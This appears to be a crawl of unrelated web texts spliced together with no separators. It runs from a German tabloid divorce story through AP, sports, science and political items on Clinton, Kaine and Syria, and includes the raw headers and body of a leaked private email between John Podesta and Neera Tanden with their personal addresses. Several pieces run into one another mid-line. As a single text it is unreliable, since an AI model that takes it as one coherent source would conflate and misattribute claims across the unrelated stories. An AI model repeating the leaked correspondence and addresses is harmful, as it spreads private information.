[3] Jerman et al., 1999, Simulating Future Wars, 126. In: König et al. (eds), Konflikte und Kriege – Simulationstechnik und Spieltheorie.dpa
Scheidung in der Hochzeitsnacht: In Saudi-Arabien hat sich ein frisch angetrauter Ehemann umgehend von seiner Frau getrennt, als er ihr Gesicht zum ersten Mal erblickte. In der Nacht folgte die Scheidung. Die Braut hatte ihren Schleier angehoben, um für ein Foto zu posieren.
Für eine Braut aus Saudi Arabien ist ihre Hochzeit in einem Desaster geendet. Dieses begann, als sie ihren Schleier anhob, um für ein Foto mit ihrem Ehemann zu posieren. Dieser hatte sie bisher noch nie gesehen – offenbar gefiel ihm das, was er vor sich sah so gar nicht. Nachdem er das Gesicht seiner Braut erkannt hatte, sagte er ihr sofort, dass er die Scheidung wolle, berichtet die britische Zeitung „Daily Mail“ unter Berufung auf die Saudi-Arabische Zeitung „Okaz“. „Du bist nicht das Mädchen, das ich heiraten will“, soll der Bräutigam gesagt haben. „Du bist nicht diejenige, die ich mir vorgestellt habe.“ Video: Trauzeuge ertappt Ehefrau des Freundes beim Fremdgehen - und veröffentlicht Video
Das Brautpaar hatte sich zuvor noch nie gesehen Dem Bericht zufolge, soll der Bräutigam sogar angeekelt aufgesprungen sein, nachdem der Fotograf die Braut aufgefordert hatte, für ein Foto zu posieren. Noch in der Nacht der Hochzeit ließ er sich von seiner frisch Angetrauten wieder scheiden. Die Braut hatte auf die unerwartete Reaktion ihres Mannes einen Wein-Anfall bekommen. Bei der Scheidung in der Hochzeitsnacht sei die Braut sogar kollabiert, heißt es in dem Bericht. Braut und Bräutigam hatten der Hochzeit zuvor zugestimmt, obwohl sie sich noch nie gesehen hatten. Im Video: Warum Monogamie totaler Unsinn ist
FOCUS Online/WochitAssociated Press -
FLORENCE, Ariz. (AP) - A jail inmate in Arizona is hospitalized after authorities say he pulled one of his eyeballs out of its socket.
Sheriff's officials in Pinal County, just southeast of Phoenix, say Colin Corkhill, of Scottsdale, was booked into jail Wednesday on suspicion of attempted murder, auto theft, aggravated assault and resisting arrest.
The 26-year-old was originally housed in a cell with other inmates, but detention officers saw him punch himself in the face, so he was placed in a cell by himself under a mental health watch.
Officials say detention officers making routine cell checks Thursday night saw blood on the window of Corkhill's cell door and found that he had pulled his right eyeball out of its socket with his fingers.
Doctors were unable to save the man's eye.Toronto police Chief Bill Blair said he has accepted an apology from Coun. Doug Ford, and won't proceed with his threat of a defamation suit in a dispute that centred on Ford accusing Blair of leaking information about Mayor Rob Ford to the media.
Blair had sent Doug Ford a notice of defamation with a list of conditions, which included an unqualified apology, in writing, and an accompanying charitable donation, after the mayor's brother claimed the chief engaged in an act of revenge.
"Lies that go to the heart of your integrity cannot be tolerated," Blair said at a news conference Thursday to announce he had accepted Ford's apology. "They can never be part of an acceptable public dialogue. The law does not protect lies or the people who tell them. They must be held accountable."
Ford apologized Wednesday, but Blair did not accept it immediately. Blair called the apology "neither clear nor unequivocal."
"It was important to me to get a retraction in writing so there could be no confusion among those that hear or read about Mr. Ford's false statements," said the chief.
Ford wrote a full apology and made a $1,000 donation to Covenant House, a shelter for homeless youth in Toronto. (Read the full apology below.)
Toronto police detectives were set to serve Mayor Ford with a subpoena in the case of his friend Alexander (Sandro) Lisi, who is accused of extortion and drug dealing. Doug Ford called the subpoena "payback" and accused the chief of leaking the information about it to the media. He again said the chief needed to go.
Blair said he did not leak the information, and after investigating the charge, he found that no one in the Toronto Police Service gave the information directly to a reporter.
First comments since decision not to renew contract
It was the first time Blair has spoken publicly since the police board rendered its decision not to renew his contract as police chief.
Blair said he respects the board's decision.
"I had hoped to be renewed. And I wasn't," said Blair. "I'm not going to comment further."
Blair would not go into why he was not being asked to continue as chief. Some speculate the decision had something to do with his rocky relationship with the Fords.
Blair would not muse about his fortunes after April 25, 2015, his last day on the job.
He did, however, rule out a political future. "Frankly, I have no aspirations for that. I'm a cop," he said.
No 'war of words,' Blair says
The police chief also denied he is in a "war of words" with Doug Ford.
"I have tried to avoid being dragged down into what has been called a war of words," he said.
"I would suggest to you that I've been rather circumspect. There was quite a tirade of false statements made about me on Aug. 5. My response was 12 words long. It's hardly a war of words."
Blair was referencing the statement that Ford was lying and he would take legal action. Ford stood by his comments and the chief served him notice of defamation a week later.
Blair and the Fords have been in a back-and-forth since the chief commented on the mayor's involvement with Project Brazen — a drugs and gangs investigation that led to the recovery of a video of Rob Ford smoking crack.
Blair, at the time, said seeing the images of the mayor smoking crack left him "disappointed."
Doug Ford repeatedly called for Blair to resign after details of the investigation emerged. The mayor himself disparaged Blair after Rob Ford was seen drinking in a video surreptitiously recorded at a fast-food restaurant in suburban Etobicoke.
Blair's contract as police chief has not been renewed. He will leave the post in April 2015.
Doug Ford has said he is not running for re-election and will ostensibly leave office after the current term is up. He's spending much of his time helping his brother in his bid for re-election.Vancouver filming tracker Susan Gittins at YVRShoots has been keeping tabs up north on the STAR TREK BEYOND shoot in town, and she flagged our attention this afternoon to showcase several tantalizing shots from the outdoor greenscreen set.
This white-haired performer was on set July 16 for rehearsal with director Justin Lin, and as we’ve mentioned previously, we believe this to be at least part of Sofia Boutella’s look.
In addition, she also nabbed a shot of Lin and this unnamed actor, made up with face and head appliances as a new alien for BEYOND.
Finally, she also posted a host of new shots from the set construction, revealing some new angles on the massive build at Kent Hangar Field.
See a whole bunch of additional photos over at YVRShoots.com.Dallas Mavericks: Can They Build Around O.J. Mayo? by John Hugar
Phoenix Suns: Looking Back, Then Looking Forward To 2013-14
Phoenix Suns: Looking Back, Then Looking Forward To 2013-14 by Michael Dunlap
Kevin Rashidi recently had the chance to do an interview with the Toronto Raptors point guard Jose Calderon. While Calderon isn’t the full time starter for the Raptors anymore, he’s still been just as important as an insurance policy. Kyle Lowry hasn’t been able to stay healthy, which means Calderon has started in 24 out of 39 games this year. Check out his career stats:
Season Age Tm G GS MP FG FGA FG% 3P 3PA 3P% FT FTA FT% ORB DRB TRB AST STL BLK TOV PF PTS 2005-06 24 TOR 64 11 23.2 2.1 4.9.423 0.1 0.7.163 1.2 1.4.848 0.5 1.7 2.2 4.5 0.7 0.1 1.6 1.5 5.5 2006-07 25 TOR 77 11 21.0 3.4 6.6.521 0.3 1.0.333 1.5 1.9.818 0.3 1.5 1.7 5.0 0.8 0.1 1.4 1.8 8.7 2007-08 26 TOR 82 56 30.3 4.5 8.6.519 1.0 2.2.429 1.3 1.5.908 0.4 2.5 2.9 8.3 1.1 0.1 1.5 1.6 11.2 2008-09 27 TOR 68 68 34.3 4.7 9.5.497 1.2 3.0.406 2.2 2.3.981 0.2 2.6 2.9 8.9 1.1 0.1 2.1 1.7 12.8 2009-10 28 TOR 68 39 26.7 4.0 8.4.482 1.0 2.5.398 1.2 1.5.798 0.3 1.8 2.1 5.9 0.7 0.1 1.5 2.0 10.3 2010-11 29 TOR 68 55 30.9 3.9 8.8.440 0.8 2.3.365 1.3 1.5.854 0.4 2.5 3.0 8.9 1.2 0.1 2.2 2.1 9.8 2011-12 30 TOR 53 53 33.9 4.1 9.0.457 1.1 3.0.371 1.1 1.3.882 0.4 2.7 3.0 8.8 0.9 0.1 2.0 1.8 10.5 2012-13 31 TOR 39 24 28.3 4.0 8.7.459 1.6 3.8.427 1.1 1.2.896 0.4 2.1 2.5 7.7 0.7 0.2 1.6 1.2 10.7 Career 519 317 28.4 3.8 8.0.480 0.8 2.2.387 1.4 1.6.876 0.4 2.2 2.5 7.2 0.9 0.1 1.7 1.7 9.9 View Original Table
Generated 1/17/2013. Provided by Basketball-Reference.com Generated 1/17/2013.
Let’s see what Calderon had to say.
Kevin Rashidi: To start off I wanted to thank you for taking your time out of what I’m sure is a busy schedule to do this for me! As a fan, I appreciate what you’ve done for the Raptors and the city of Toronto over the past 8 seasons. You are a top class professional in the NBA and a role model to many!
Jose Calderon: It is my pleasure.
KR: What has been the best part of living in Toronto, organization and city wise for 8 years now? Why is it considered like a second home to you?
JC: It is a multicultural city, they make me feel like home since day one. The people here are great.
KR: What is your greatest memory so far with the Raptors? Does any certain play or season stand out?
JC: The debut was great. The 2006-07 was really a good season.
KR: How do you maintain such a high level of play when every year there is a ton of rumors swirling about you possibly being traded?
JC: I just tried to be professional, this is my team, so the only things I can control is playing hard and help my teammates.
KR: If you had the chance to play for ANY team in the NBA, who would it be?
JC: I don’t like to think about it. Raptors right now.
KR: Who would you say you are the closest to teammate/friends wise on the raptors?
JC: Made great friends over the years, (Anthony) Parker, (Carlos) Delfino, Martin… Andrea, Linas, Gray, DeMar or Ed.
KR: I’ve gotten some requests from fans to ask you some questions that aren’t directly basketball related.
KR: What is your favourite sneaker to play basketball in?
JC: “Li-Ning” for sure.
KR: Who is your favorite soccer player and team, and why?
JC: Xabi Alonso, Real Madrid, he controls the game kind of like a point guard.
KR: Where is your favorite spot in Toronto to eat either post game or simply for dinner?
JC: Steak, Jacob’s & Cia, Spanish, Patria.
KR: To end it off, one final question.If the raptors hang on to you until the summer and you become a free agent, would you be willing to resign and continue playing for the Raptors?
JC: You never know what’s gonna happen. But I’m sure when the time arrives I’ll listen and decide on every possibility. Is not the time to think about it. We will see in summer. Right now is only time for the Raptors.
KR: Thank you again Jose for giving me your time to do this interview. Era un honor de dirigirse a usted. Best of luck for the rest of the season. Hoping for the best and hope to chat with you again soon!
Kevin Rashidi is the social media ambassador for HoopsHabit.com. You can find him on Twitter @kevinrashidi.
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According to Brooks, Clinton, as secretary of state, committed “high crimes and misdemeanors” through careless handling of classified information.
Some analysts, such as Philip Bump, writing for the Washington Post, attempted to refute Brooks by arguing, based on the precedent of the 1873 impeachment proceedings against Vice President Schuyler Colfax, that officials cannot be impeached for crimes committed before they assumed current positions.
Bill Blum, writing for the Huffington Post, argued that the Colfax case is not a binding precedent for Congress.
But recently, discussions of the proposal to impeach Clinton moved from advocating for her impeachment if she is elected president to suggesting that she could be impeached even before the general election. And it is clear from comments and suggestions circulating in the right-wing anti-Hillary blogosphere that Republicans are taking seriously the seemingly outlandish suggestion that Clinton could be prevented from contesting the 2016 presidential election by impeaching her now.
Some anti-Hillary activists have even begun speculating about who would replace Clinton as the Democratic presidential candidate if House Republicans impeach her before the November election.
The latest proposal to impeach Clinton before the general election appears to have originated in an article written by Andrew McCarthy, senior policy fellow at the National Review Institute, and published by the National Review on September 6.
McCarthy had gained notoriety for having advocated for the impeachment of President Obama and authored controversial books, such as How Obama Embraces Islam’s Sharia Agency.
His new radical proposal is being pushed with fervor despite the widely held belief that impeachment proceedings apply solely to incumbent government officials.
“The point of impeachment is to deny power to any person whose high crimes and misdemeanors have demonstrated unfitness for a high public trust.”
Hillary Clinton before Senate over Benghazi [Photo by Jacquelyn Martin/AP]
According to McCarthy, there is no basis for the widely held assumption that Constitutional provisions allow only for impeachment proceedings against an incumbent public office holder and that impeachable offenses are limited only to those committed during the official’s current tenure of office.
He argues that the Constitutional provisions contained in Article I, Section 2, which endows the House of Representatives with “Sole Power of Impeachment,” and Article II, Section 4, which elaborates on the grounds of impeachment, do not limit impeachment to incumbent officials and impeachable offenses to those committed during a current tenure.
According to McCarthy, not only could Clinton be impeached — if she becomes president — for offenses committed prior to her swearing in as president, but she could also be impeached before the general election as a way of disqualifying her from future office, including the presidency.
In McCarthy’s opinion, the intention of the “Framers” was to prevent persons who have shown that they are unfit for public trust to hold positions of authority and responsibility and gain a further opportunity to abuse power.
Thus, the Constitutional provisions allow the House of Representatives to commence impeachment proceedings against Clinton ahead of the election based on alleged “abuses of power as secretary of state.”
He gives a long list of Clinton’s offenses that are supposedly high crimes or misdemeanors.
Clinton is guilty of recklessness in the handling of classified information, obstruction of a government investigation, and destruction of thousands of government documents after Congress asked for them. She is guilty of “shocking failure to provide security for Americans stationed in Benghazi” and “failure to attempt to rescue them during a terrorist siege.”
She subsequently engaged in serial lying to Congress and families of Benghazi victims about what caused the terrorist attacks.
Clinton is also guilty of having used the Clinton Foundation to conduct a “pay-for-play enterprise” without regard to national security, according to her political opponents.
“The proceeding against Clinton would be based on her abuses of power as secretary of state… [and would] have the effect of disqualifying her for the presidency.”
Hillary Clinton, Democratic presidential candidate [Photo by M. Spencer Green/AP]
“Impeachment stands as a condemnation of her performance in office… disqualification ensures she will never again have an opportunity to abuse government power.”
But in the event that she is not impeached before she is sworn into office, other analysts, such as John N. Hostettler, a former Republican congressman from Indiana, have urged Republicans to commence impeachment proceedings immediately after she enters the White House.
Under the U.S. Constitution, impeachment is only an indictment of a public office holder for a high crime or misdemeanor, but it does not necessarily lead to removal from office.
Analysts argue that the offense for which a public office holder is impeached need not be a crime, such as treason or bribery, or other misconduct serious enough to warrant jail time. An official need only be found guilty of negligence or dereliction of duty that results in serious violations of the public trust.
Evidence of widespread support for impeachment of Clinton among Republican voters comes from a recent Public Policy Polling survey that asked North Carolina Republican voters if they supported proposals to impeach Clinton.
Sixty-six percent supported impeaching the former secretary of state, while 24 percent opposed impeaching her, but 10 percent were uncertain.
Clinton has reacted to media reports about the growing clamor for her impeachment, describing it as “pathetic,” and “laughable,” and “totally ridiculous,” according to MSNBC.
She accused Republicans of pandering to “the most intense, extreme part” of the Republican base.
[Photo by Pablo Martinez Monsivais/AP Images]Tracing Where Salmon Were Born And Bred
Inspecting a bone from a salmon's ear can reveal where it has lived.
Peter Gwynne, Contributor
(Inside Science) -- An intrepid kayaker has combined with a laboratory team carrying out high-technology chemical analysis in a project that could help locate critical habitats for salmon and other fish threatened by climate change, industrial development, overfishing, and other disturbances.
The project used the chemical makeup of bone-like structures in the ears of 255 Chinook salmon to identify the specific waterways emptying into Bristol Bay, Alaska, in which individual fish were born and bred and migrated.
The chemical information comes from the metal strontium. In salmon bones, strontium exists in two particular forms, or isotopes, characterized by the numbers of particles in each atom's nucleus.
The research team measured the ratios of strontium-86 to strontium-87 in structures in salmon ears called otoliths.
These lozenge-shaped features consist of ultrathin layers laid down each day, like tree rings, as the salmon grow. When each layer forms, it possesses the same ratio of the two strontium isotopes as the water in which it swims at the time.
Interpretation of the chemical signals from the otolith layers indicated where each salmon had hatched and where it had swum after hatching, in seven different sets of streams in the watershed of western Alaska's third largest river, the Nushagak.
The watershed, roughly the size of Massachusetts, is home to one of the world's largest runs of Chinook salmon. About 200,000 Chinook swim upriver from the Pacific Ocean each summer to spawn in the Nushagak's upper tributaries and streams.
But in the past decade, Alaska's Chinook salmon population has fallen dramatically. The new study, headed by Sean Brennan, a postdoctoral researcher at the University of Washington, in Seattle, can help to understand and perhaps reverse the decline.
Previous projects of this type have focused on small numbers of salmon.
"What's really new is the sheer number of samples that have been processed," said Thure Cerling, a geochemist at the University of Utah, in Salt Lake City, who participated in the study. "That allows us to think about population scale rather than individual scale."
The information "could be useful for protecting fish and understanding how many salmon we can take from nature," said geochemist Diego Fernandez, also at the University of Utah.
Fernandez measured the strontium ratios that revealed the salmons' origins.
"The study makes connections between the fish migration and the geology of the spawning ground," said Bernhard Peucker-Ehrenbrink, a senior scientist at the Woods Hole Oceanographic Institution in Woods Hole, Massachusetts, who did not participate in the research.
"The level of detail is pretty impressive," he added. "The study makes a great case for how this method can be applied."
The research was reported today in Science Advances, and was the third in a series of studies focused on Chinook salmon's origins.
As part of his Ph.D. project at the University of Alaska Fairbanks, Brennan spent three years surveying the Nushagak watershed for evidence of strontium isotope ratios in its various streams and tributaries.
Since the area has no roads, Brennan recalled, "We would generally fly into the headwaters with inflatable kayaks and spend a week and a half there. Then we would get a person from the local village to meet us and take samples in a skiff."
Next, the team needed to check that strontium isotope ratios in fishes' otoliths accurately reflect those in the waters where the fish swim. They did that by measuring the ratios in slimy sculpin. This fish doesn't travel more than 50 yards from its home waters throughout its lifetime. Investigation showed that the sculpins' ratios were always the same as those in the water around them.
The research reported today built on that finding. It used the strontium ratios to determine the swimming history of Chinook salmon caught in Bristol Bay, on the way back to their home waters in 2011.
To measure the ratios, the team applied a technology known as plasma mass spectrometry.
They cut each otolith lengthwise, and used a laser to zap each layer. The process removed tiny particles that then traveled into a plasma -- a very hot flame -- that separated the strontium isotopes and permitted measurement of their relative quantities.
"This laser ablation allows you to follow the life history of a salmon from the moment it was born to the moment it reached the ocean," Fernandez said.
The study revealed four distinct life histories for the Chinook salmon. While almost three-quarters stayed in the waters where they hatched before swimming downstream to the ocean, the rest had more complex young lives.
About 17 percent of the Chinooks mostly stayed where they hatched, but also made short forays downriver just before they set off for the ocean. Seven percent swam to a different stream from the one in which they hatched and stayed there before setting out to sea. And four percent both left their birthplaces for another stream and took short downriver journeys before leaving for the ocean.
"This is one of the prime salmon fisheries in the world," Cerling said. "So it's critical that we understand all the aspects of the salmon runs to manage their resources in the right way."
The technology has potential application beyond salmon and even fish. "The cool thing about the strontium isotope ratio," Brennan said, "is that it works regardless of species."Former governor Tim Kaine (D) became the most prominent official to call for the University of Virginia to reinstate ousted president Teresa Sullivan on Thursday.
Tim Kaine (Mark Gormus/Associated Press)
And Kaine said much more in a telephone interview.
He blames all members of the Board of Visitors for failing to hold a meeting to discuss Sullivan’s departure and said if they had he’s sure they would not have removed her.
“There’s a board for a reason. Group decision making is better than the thoughts of any one person,” he said. “I think the entire board made a fundamental mistake in not having a meeting before making a decision of this magnitude, and I lay that at the entire board’s feet.”
During his term as governor from 2006-2010, Kaine appointed eight of the 15 voting members of the board, including Rector Helen Dragas, who has been under fire for two weeks for orchestrating the ouster.
“She is a very accomplished leader with a real passion for U-Va. and I appointed her for that reason,” he said. “This is a board...I know them all to be good people, accomplished people, who care deeply about U-Va., and I believe the same of the members that I didn’t appoint.”
Gov. Bob McDonnell (R) appointed the other members of the board.
“It’s clear that a number of the board members were saying they were not in the loop on the decision,” he said. “Others were saying that a fundamental piece of information, the strategic plan that President Sullivan had written, they had never been provided that plan and so, all of that would have naturally come out had they had a meeting.”
Kaine said he had not spoken to McDonnell or Dragas, but had spent days talking to current and former board members about the leadership crisis at U-Va.
“Governor McDonnell and I — I think we feel the same way about the procedural irregularity,” he said. “I mean, look, we each appointed members to this board, and we appointed good people to the board. It’s not a matter of their qualifications or their love for the university. I think his appointees are strong in that, just as mine were, but we both believe, just basing this on the governor’s comments, we both believe that procedurally, they didn’t handle it right. And again, in the absence of a meeting, if they just had had a meeting, we wouldn’t even be having this conversation.”Download raw source
MIME-Version: 1.0 Received: by 10.25.141.5 with HTTP; Tue, 14 Jul 2015 19:06:47 -0700 (PDT) Received: by 10.25.141.5 with HTTP; Tue, 14 Jul 2015 19:06:47 -0700 (PDT) In-Reply-To: <CAJiTYQYogCSQwR52ofdumEk4ogCho=bzbri5a5XPHvoN6a+9Sw@mail.gmail.com> References: <CAJiTYQa=YukWg6sHAfgPb=TYQB9mrOtdjVNf3sk2o0OEhkXXEA@mail.gmail.com> <CAE6FiQ9FYPVrqOwP76qH9qbtyRnsYkpX0_3TgHfeF_YUuvEi2Q@mail.gmail.com> <CAJiTYQarh6ThMh6FH_itRCsENMFRV2qpEnPn7oPvL3QTcgLwXg@mail.gmail.com> <CAE6FiQ_z7SvQk8PyaeO-rHykD8tarHV9GSFMrYpp-dKcCRqWvg@mail.gmail.com> <CAJiTYQbofyaVSN8GKms6h6+YLELw1iORiGX-nzC3e0oJKx6NHg@mail.gmail.com> <CAE6FiQ84KArZxCCRR1bMFzFnOOWb4T8wvTw9kiWMTLUr_xm_=A@mail.gmail.com> <CAJiTYQYogCSQwR52ofdumEk4ogCho=bzbri5a5XPHvoN6a+9Sw@mail.gmail.com> Date: Tue, 14 Jul 2015 22:06:47 -0400 Delivered-To: john.podesta@gmail.com Message-ID: <CAE6FiQ_F9VeXmeAJxmp0pW6qAj0OcrE87OEDkKQg4Q4Y1J9heA@mail.gmail.com> Subject: Re: Assistance From: John Podesta <john.podesta@gmail.com> To: Neera Tanden <ntanden@gmail.com> Content-Type: multipart/alternative; boundary=001a114114c84006c4051ae068ea --001a114114c84006c4051ae068ea Content-Type: text/plain; charset=UTF-8 They are fucking psychotic. On Jul 14, 2015 9:33 PM, "Neera Tanden" <ntanden@gmail.com> wrote: > Ok I just had an pretty epic battle w dylan Byers and I think I bested > him. Will send you chain. > > On Tuesday, July 14, 2015, John Podesta <john.podesta@gmail.com> wrote: > >> I didn't do that but the press staff thinks I did >> On Jul 14, 2015 8:10 PM, "Neera Tanden" <ntanden@gmail.com> wrote: >> >>> I assumed that! I mean you and I have discussed how the press is >>> psychotic a million times. But you have never blamed Hillaryland. I mean >>> that is ridiculous. >>> >>> The press is psychotic!!! But I will tweet now w/o actually saying they >>> are psychotic. >>> >>> On Tuesday, July 14, 2015, John Podesta <john.podesta@gmail.com> wrote: >>> >>>> I did say the press is psychotic the rest was bs. BTW I never talk >>>> about Larry Cohen so what Larry might I have been discussing? >>>> On Jul 14, 2015 7:41 PM, "Neera Tanden" <ntanden@gmail.com> wrote: >>>> >>>>> Can I also call it bs? Or just describe it as third hand account from >>>>> a conservative blogger? >>>>> >>>>> On Tuesday, July 14, 2015, John Podesta <john.podesta@gmail.com> >>>>> wrote: >>>>> >>>>>> I think you could tweet: The media's reaction to this story is a >>>>>> demonstration of his point. >>>>>> >>>>>> On Tuesday, July 14, 2015, Neera Tanden <ntanden@gmail.com> wrote: >>>>>> >>>>>>> let me know if there's anything I or we (thru c4?) can do to help. >>>>>>> It's such outrageous bullshit. >>>>>>> I feel like tweeting of course john thinks media is psychotic. But >>>>>>> no doubt responsibility for that is media's alone. >>>>>>> >>>>>>> But I won't do anything unless you tell me it helps. >>>>>>> >>>>>> --001a114114c84006c4051ae068ea Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable <p dir=3D"ltr">They are fucking psychotic. </p> <div class=3D"gmail_quote">On Jul 14, 2015 9:33 PM, "Neera Tanden"= ; <<a href=3D"mailto:ntanden@gmail.com">ntanden@gmail.com</a>> wrote:= <br type=3D"attribution"><blockquote class=3D"gmail_quote" style=3D"margin:= 0 0 0.8ex;border-left:1px #ccc solid;padding-left:1ex">Ok I just had an pr= etty epic battle w dylan Byers and I think I bested him. Will send you chai= n.=C2=A0<span></span><br><br>On Tuesday, July 14, 2015, John Podesta <<a= href=3D"mailto:john.podesta@gmail.com" target=3D"_blank">john.podesta@gmai= l.com</a>> wrote:<br><blockquote class=3D"gmail_quote" style=3D"margin:0= 0 0.8ex;border-left:1px #ccc solid;padding-left:1ex"><p dir=3D"ltr">I did=n't do that but the press staff thinks I did<br> </p> <div class=3D"gmail_quote">On Jul 14, 2015 8:10 PM, "Neera Tanden"= ; <<a>ntanden@gmail.com</a>> wrote:<br type=3D"attribution"><blockquo= te class=3D"gmail_quote" style=3D"margin:0 0 0.8ex;border-left:1px #ccc so= lid;padding-left:1ex">I assumed that!=C2=A0 I mean you and I have discussed= how the press is psychotic a million times.=C2=A0 But you have never blame= d Hillaryland.=C2=A0 I mean that is ridiculous.=C2=A0<div><br></div><div>Th= e press is psychotic!!!=C2=A0 But I will tweet now w/o actually saying they= are psychotic.=C2=A0<span></span><br><br>On Tuesday, July 14, 2015, John P= odesta <<a>john.podesta@gmail.com</a>> wrote:<br><blockquote class=3D= "gmail_quote" style=3D"margin:0 0 0.8ex;border-left:1px #ccc solid;padding= -left:1ex"><p dir=3D"ltr">I did say the press is psychotic the rest was bs.= BTW I never talk about Larry Cohen so what Larry might I have been discuss= ing?</p> <div class=3D"gmail_quote">On Jul 14, 2015 7:41 PM, "Neera Tanden"= ; <<a>ntanden@gmail.com</a>> wrote:<br type=3D"attribution"><blockquo= te class=3D"gmail_quote" style=3D"margin:0 0 0.8ex;border-left:1px #ccc so= lid;padding-left:1ex">Can I also call it bs?=C2=A0 Or just describe it as t= hird hand account from a conservative blogger?<span></span><div><br>On Tues= day, July 14, 2015, John Podesta <<a>john.podesta@gmail.com</a>> wrot= e:<br><blockquote class=3D"gmail_quote" style=3D"margin:0 0 0.8ex;border-l= eft:1px #ccc solid;padding-left:1ex">I think you could tweet:=C2=A0The medi= a's reaction to this story is a demonstration of his point.=C2=A0<span>= </span><br><br>On Tuesday, July 14, 2015, Neera Tanden <<a>ntanden@gmail=.com</a>> wrote:<br><blockquote class=3D"gmail_quote" style=3D"margin:0 = 0 0.8ex;border-left:1px #ccc solid;padding-left:1ex">let me know if there&= #39;s anything I or we (thru c4?) can do to help.=C2=A0 It's such outra= geous bullshit.=C2=A0<div>I feel like tweeting of course john thinks media = is psychotic.=C2=A0 But no doubt responsibility for that is media's alo= ne.=C2=A0</div><div><br></div><div>But I won't do anything unless you t= ell me it helps.=C2=A0<span></span></div> </blockquote> </blockquote></div> </blockquote></div> </blockquote></div> </blockquote></div> </blockquote> </blockquote></div> --001a114114c84006c4051ae068ea--WASHINGTON—A federal appeals court has ordered lawsuits by Judicial Watch and Cause of Action seeking to force the federal government to recover Hillary Clinton’s missing emails to move forward, reversing a lower court’s dismissal.
When Secretary of State John Kerry refused to take all lawful measures mandated by federal law to recover Clinton’s emails, Judicial Watch and Cause of Action brought separate lawsuits seeking to force Attorney General Loretta Lynch to launch a Justice Department investigation, a request that federal law says should have originated from Kerry or from the national archivist. A federal trial judge on the U.S. District Court for the District of Columbia dismissed these lawsuits, holding they were moot and no longer appropriate for judicial action.
On Dec. 27, a three-judge panel of the U.S. Court of Appeals for the District of Columbia Circuit reversed, ordering the lower court to restart proceedings on the lawsuit. The panel included both liberal and conservative judges.
“The Federal Records Act governs the creation, management and disposal of federal records,” Senior Judge Stephen Williams wrote for the court, quoting a previous case. “Due to the importance of maintaining federal records (which are generally accessible to the public through the Freedom of Information Act), the act strictly limits the circumstances under which records can be removed from federal custody or destroyed.”
When a Cabinet officer becomes aware that the removal or destruction of federal records has happened or is imminent, he must notify the head of the National Archives, and then “initiate action through the Attorney General” to recover those records. Despite the Federal Records Act’s clear and unambiguous language, Kerry never did so.
D.C. Circuit precedent holds that the Federal Records Act commands Cabinet secretaries and the Archivist to pursue claims of missing or destroyed records, and does not allow any discretion on whether to do so. Another law—the Administrative Procedure Act (APA)—allows a person to sue over nonperformance of a federal agency action that federal law requires the agency to take. Judicial Watch and Cause of Action brought their suits under the authority of the APA.
Although the State Department’s requesting that Clinton please turn over emails produced some results, the D.C.-based appeals court noted that “the Department has not explained why shaking the tree harder—e.g., by following the statutory mandate to seek action by the Attorney General—might not bear more still.”
“In terms of assuring government recovery of emails, appellants have not been given everything they asked for,” the court concluded. “Absent a showing that the requested enforcement action could not shake loose a few more emails, the case is not moot.”
The D.C. Circuit therefore sent the case back down to the district court for additional proceedings. The watchdog groups’ lawyers can now seek a ruling on the merits of their case and a court order to Kerry (or his successor) asking the Justice Department to begin law enforcement actions to recover Clinton’s emails.
The appeals are consolidated under the name Judicial Watch v. Kerry, D.C. Circuit docket nos. 16-5015, 16-5060, 16-5061, and 16-5077.
Ken Klukowski is senior legal editor for Breitbart News. Follow him on Twitter @kenklukowski.Oil markets have been tetchy of late, seeing sharp upticks on the back of the Israel-Palestine conflict. But oil bulls are watching the wrong war. Forget Arab-Israeli antics, it’s the continuing deterioration in Syria and the prospect of regional quagmire, that poses far greater threats to Middle East oil supplies.
The lazy assumption that the Assad regime would go the same way as other Arab Nationalist Republics and fall under the weight of its own military contradictions simply hasn’t happened. Despite widespread territorial losses to the opposition ‘Free Syrian Army’, Assad’s hold on Damascus remains strong; his grip on the Syrian military, even stronger. Neither side can win - and neither side is willing to lose - let alone negotiate to end the 19 month long conflict. With stalemate likely to ensue, it comes as no surprise that Syria increasingly resembles a medieval battleground for regional influence, rather than an internal dispute for Syrian’s to work out.
On one side, Saudi Arabia, Qatar and Libya all want Assad gone, providing splintered opposition groups with cash and arms to keep pressure on Damascas. Egypt is hedging its bets by doing the ‘diplomacy thing’; while Iran (and a deeply pernicious Russia), continues to directly support the Assad regime. In what’s become a fully-fledged battle for the Levant, Saudi Arabia and Qatar are more than happy to spin the conflict into a Sunni-Shia issue, directly pitting Gulf Monarchies against the regional influence of Iran. Salafist Islamist foot soldiers are doing most of the internecine fighting. And true enough, a sectarian angle is certainly in play, but it shouldn’t be overhyped from Tehran’s perspective. Theocracy is ‘nice’, but power politics holds the Iran-Syria relationship together with the Ba’ath party. Syria has become the ‘swing state’ where regional ascendancy will be won or lost across the Middle East. No one is in any doubt of that geopolitical fact.
As brutal as the indirect battles have been (the UN places the death toll at over 30,000 people and 1.3 million displaced), no one can really take the upper hand. The Arab League is never going to stage a direct invasion, any more than a sanctions stricken Iran is going to make any drastic move before its own presidential elections are out the way in June 2013. The Israelis will moan about chemical weapons stockpiles in Syria, but they’d hardly want to open a ‘war’ on two (or more) fronts. That’s while America and Europe are going to sit this one out, exhausted from Iraq, Afghanistan and Libya. That doesn’t leave much, other than the one state that stands to lose most from the Syrian imbroglio: Turkey.
Turkey was supposed to be ‘the way of the future’ for post-revolutionary Arab states, but Syria’s demise has given Ankara a ‘bad neighbourhood’ problem. As long as Assad stays in power, President Erdogan’s plans for economic integration with its southern Arab neighbours will not only be a non-starter, Ankara could end up with a failed state along its southern border. Instability will spread into Lebanon and Iraq, not to mentioned renewed vigour of the Kurdish campaign in Turkey as a direct result of Syrian military withdrawal along its border. Simply put, protracted war in Syria is a core concern to Turkish sovereignty.
Take a look at the energy map, and things get markedly worse. As President Assad ironically picked up, Turkey was always going to be the vital regional energy hub, linking up energy trade across the ‘Four Seas’ spanning the Black Sea, the Mediterranean, Persian Gulf / Arabian Sea, and the Caspian. It was the transit key to getting hydrocarbons out of the Caspian via the Caucuses; unlocking Iraqi potential to feed multiple markets; bringing Iranian supplies towards Europe; and even offering Russia gas outlets towards the Pacific Basin. But for this ‘energy continuum’ to work, Turkey not only needs to be internally secure, it needs to be on good terms with all the states involved. The current state of play in Damascus makes that structurally impossible. Scorched earth equals stranded energy. Everyone loses out.
